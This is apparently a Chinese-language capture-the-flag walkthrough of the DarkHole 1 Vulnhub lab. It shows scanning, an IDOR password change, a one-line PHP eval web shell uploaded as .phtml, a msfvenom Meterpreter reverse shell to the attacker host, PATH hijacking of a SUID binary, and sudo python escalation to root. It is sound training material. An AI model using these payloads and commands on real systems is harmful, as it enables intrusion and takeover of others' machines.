Vulnhub-DarkHole 1

(Updated: )
靶机

DarkHole: 1

https://www.vulnhub.com/entry/darkhole-1,724/

端口扫描主机发现

  1. 探测存活主机，184是靶机

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    nmap -sP 192.168.75.0/24
    Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-08 09:59 CST
    Nmap scan report for 192.168.75.1
    Host is up (0.00027s latency).
    MAC Address: 00:50:56:C0:00:08 (VMware)
    Nmap scan report for 192.168.75.2
    Host is up (0.00016s latency).
    MAC Address: 00:50:56:FB:CA:45 (VMware)
    Nmap scan report for 192.168.75.184
    Host is up (0.00032s latency).
    MAC Address: 00:0C:29:61:C5:52 (VMware)
    Nmap scan report for 192.168.75.254
    Host is up (0.00018s latency).
    MAC Address: 00:50:56:FE:CA:7A (VMware)
    Nmap scan report for 192.168.75.151

  2. 探测主机所有开放端口

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    nmap -sT -min-rate 10000 -p- 192.168.75.184
    Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-08 09:59 CST
    Nmap scan report for 192.168.75.184
    Host is up (0.0011s latency).
    Not shown: 65533 closed tcp ports (conn-refused)
    PORT   STATE SERVICE
    22/tcp open  ssh
    80/tcp open  http
    MAC Address: 00:0C:29:61:C5:52 (VMware)

  3. 探测服务版本以及系统版本

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    nmap -sV -sT -O -p 80,22 192.168.75.184
    Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-08 09:59 CST
    Nmap scan report for 192.168.75.184
    Host is up (0.0022s latency).

    PORT   STATE SERVICE VERSION
    22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
    80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
    MAC Address: 00:0C:29:61:C5:52 (VMware)
    Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
    Device type: general purpose
    Running: Linux 4.X|5.X
    OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
    OS details: Linux 4.15 - 5.8
    Network Distance: 1 hop
    Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

  4. 扫描漏洞

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    nmap -script=vuln -p 80,22 192.168.75.184
    Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-08 10:00 CST
    Nmap scan report for 192.168.75.184
    Host is up (0.00057s latency).

    PORT   STATE SERVICE
    22/tcp open  ssh
    80/tcp open  http
    | http-csrf: 
    | Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=192.168.75.184
    |_http-dombased-xss: Couldn't find any DOM based XSS.
    | http-cookie-flags: 
    |   /: 
    |     PHPSESSID: 
    |       httponly flag not set
    |   /login.php: 
    |     PHPSESSID: 
    |_      httponly flag not set
    |_http-vuln-cve2017-1001000: ERROR: Script execution failed (use -d to debug)
    |_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
    | http-enum: 
    |   /login.php: Possible admin folder
    |   /config/: Potentially interesting directory w/ listing on 'apache/2.4.41 (ubuntu)'
    |   /css/: Potentially interesting directory w/ listing on 'apache/2.4.41 (ubuntu)'
    |   /js/: Potentially interesting directory w/ listing on 'apache/2.4.41 (ubuntu)'
    |_  /upload/: Potentially interesting directory w/ listing on 'apache/2.4.41 (ubuntu)'
    MAC Address: 00:0C:29:61:C5:52 (VMware)

web渗透

  1. 访问主页，存在登录页面链接

    image.png

  2. 先扫描目录看看

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    dirsearch -u http://192.168.75.184 -x 403,404 
    //
    [10:07:48] Starting:                                                                                                                                         
    [10:07:48] 301 -  313B  - /js  ->  http://192.168.75.184/js/                
    [10:08:10] 301 -  317B  - /config  ->  http://192.168.75.184/config/        
    [10:08:10] 200 -  460B  - /config/                                          
    [10:08:11] 301 -  314B  - /css  ->  http://192.168.75.184/css/              
    [10:08:12] 200 -   21B  - /dashboard.php                                    
    [10:08:21] 200 -  487B  - /js/                                              
    [10:08:23] 200 -    1KB - /login.php                                        
    [10:08:24] 302 -    0B  - /logout.php  ->  login.php                        
    [10:08:35] 200 -    1KB - /register.php                                     
    [10:08:45] 301 -  317B  - /upload  ->  http://192.168.75.184/upload/        
    [10:08:45] 200 -  456B  - /upload/
    • /dashboard.php 无权限
    • /upload 上传文件夹
    • /config 存在database.php

  3. 登陆页面存在注册，我们注册用户test登录

    进去后发现可以update信息以及更改密码，感觉会存在注入

    image.png

  4. 测试是否存在注入

    • Details Update 部分

      使用sql测试没找到注入点

    • Password Change 部分

      这部分没注入….但是修改密码区域可以抓包将传入的id值修改，我们可以将其修改为id=1的用户（可能是管理用户）

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      POST /dashboard.php?id=2 HTTP/1.1
      Host: 192.168.75.184
      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:132.0) Gecko/20100101 Firefox/132.0
      Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
      Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
      Accept-Encoding: gzip, deflate, br
      Content-Type: application/x-www-form-urlencoded
      Content-Length: 20
      Origin: http://192.168.75.184
      Sec-GPC: 1
      Connection: keep-alive
      Referer: http://192.168.75.184/dashboard.php?id=2
      Cookie: PHPSESSID=aal4svnq3poomufcq5sv2lo2fu
      Upgrade-Insecure-Requests: 1
      Priority: u=0, i

      password=123456&id=1

      成功将包发送，提示Password has been change

  5. 登陆后台，用户名使用admin ，密码是用修改后的123456 ，成功进入

    image.png

    多了个上传文件框

  6. 尝试文件上传上传🐎

    • 直接上传2.php ，内容是一句马，提示：Sorry , Allow Ex : jpg,png,gif 看着像是白名单

    • 尝试了一下，不只是可以上传jpg,png,gif ，也可以上传别的后缀文件，所以更像是把php类的文件后缀放进黑名单了

    • 这里涉及到一些文件上传CTF的套路，我们将php改为其他可以解释为php文件的后缀，我将其修改为phtml ，上传成功（我是抓包后修改的，也可以直接修改文件后缀然后直接上传）

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      Content-Disposition: form-data; name="fileToUpload"; filename="2.phtml"
      Content-Type: application/octet-stream

      <?php @eval($_POST[x]); ?>

    • 上传的文件保存在了/upload路径，测试能否使用

      image.png

      可以正常包含

  7. 使用蚁🗡连接

    image.png

提权

  1. 我们先反弹shell ，靶机自带的nc不支持-e ,所以我们需要上传反弹shell脚本然后包含

    • 生成脚本

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      msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.75.151 lport=1234 -f raw > getshell.php
      [-] No platform was selected, choosing Msf::Module::Platform::PHP from the payload
      [-] No arch selected, selecting arch: php from the payload
      No encoder specified, outputting raw payload
      Payload size: 1115 bytes

    • 在蚁🗡将脚本上传upload文件夹里

      image.png

    • kali打开msf监听

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      msf6 > use exploit/multi/handler 
      [*] Using configured payload generic/shell_reverse_tcp
      msf6 exploit(multi/handler) > set payload php/meterpreter/reverse_tcp
      payload => php/meterpreter/reverse_tcp
      msf6 exploit(multi/handler) > set lhost 192.168.75.151
      lhost => 192.168.75.151
      msf6 exploit(multi/handler) > set lport 1234
      lport => 1234
      msf6 exploit(multi/handler) > run

    • 网页访问上传的脚本文件

      image.png

    • 获得shell

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      [*] Started reverse TCP handler on 192.168.75.151:1234 
      [*] Sending stage (39927 bytes) to 192.168.75.184
      [*] Meterpreter session 1 opened (192.168.75.151:1234 -> 192.168.75.184:55480) at 2024-11-08 11:49:08 +0800

      meterpreter >

      输入shell获得shell命令行

  2. 查看权限

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    $ whoami
    www-data
    $ id
    uid=33(www-data) gid=33(www-data) groups=33(www-data)
    $ uname -a
    Linux darkhole 5.4.0-77-generic #86-Ubuntu SMP Thu Jun 17 02:35:03 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux

  3. 寻找利用点

    • SUID权限

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      $ find / -perm -u=s -type f 2>/dev/null
      /usr/lib/snapd/snap-confine
      /usr/lib/policykit-1/polkit-agent-helper-1
      /usr/lib/eject/dmcrypt-get-device
      /usr/lib/dbus-1.0/dbus-daemon-launch-helper
      /usr/lib/openssh/ssh-keysign
      /usr/bin/su
      /usr/bin/at
      /usr/bin/umount
      /usr/bin/pkexec
      /usr/bin/sudo
      /usr/bin/passwd
      /usr/bin/chfn
      /usr/bin/chsh
      /usr/bin/gpasswd
      /usr/bin/fusermount
      /usr/bin/newgrp
      /usr/bin/mount
      /home/john/toto

      /home/john/toto 这个一看就不对劲

    • 数据库配置文件

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      $ cat database.php
      <?php
      $connect = new mysqli("localhost",'john','john','darkhole');

      可以尝试密码碰撞ssh，但是密码错误

  4. 来到/home/john/ ，下有四个文件

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    $ ls
    file.py
    password
    toto
    user.txt

    但是除了toto有读和执行权限，别的都没有权限，前面suid也搜索出了toto ，尝试利用

  5. 利用toto

    • 因为不知道有什么作用，我们直接执行

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      $ ./toto
      uid=1001(john) gid=33(www-data) groups=33(www-data)

    • 我们通过蚁🗡下载该文件下来，使用IDA反编译看看写了啥

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      int __fastcall main(int argc, const char **argv, const char **envp)
      {
        setuid(0x3E9u);
        setgid(0x3E9u);
        return system("id");
      }

      设置UID然后设置GID最后输出ID命令

    • 劫持环境变量

      因为他会执行id ，所以我们修改环境变量让他执行id的时候执行/bin/bash

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      $ echo "/bin/bash" > /tmp/id
      $ chmod 777 /tmp/id
      $ export PATH=/tmp:$PATH

      $ export PATH=/tmp:PATH 设置/tmp为环境变量的开头，那样就可以一开始就去/tmp寻找 id 也就是/bin/bash

      执行toto ，获得john的shell

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      $ ./toto
      john@darkhole:/home/john$

  6. 获得john的用户后查看之前没权限看的文件

    • password 是john的密码，我们用它去ssh登录john获得更好的用户交互shell

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      john@darkhole:~$ cat password 
      root123

    • file.py是空的

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      ohn@darkhole:~$ cat file.py

    • user.txt 一个flag

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      john@darkhole:~$ cat user.txt 
      DarkHole{You_Can_DO_It}

  7. 寻找利用点

    • 查看sudo权限

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      john@darkhole:~$ sudo -l
      [sudo] password for john: 
      Matching Defaults entries for john on darkhole:
          env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

      User john may run the following commands on darkhole:
          (root) /usr/bin/python3 /home/john/file.py

      可以使用root权限执行file.py文件，哦豁，可以提权了

    • 编辑file.py文件，将提权语句写入file.py

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      ehco "import os;os.system('/bin/bash');" >> file.py

    • 使用sudo权限执行

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      john@darkhole:~$ sudo /usr/bin/python3 /home/john/file.py 
      root@darkhole:

      获得root！！！

  8. 读取flag文件

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    root@darkhole:~# cat root.txt 
    DarkHole{You_Are_Legend}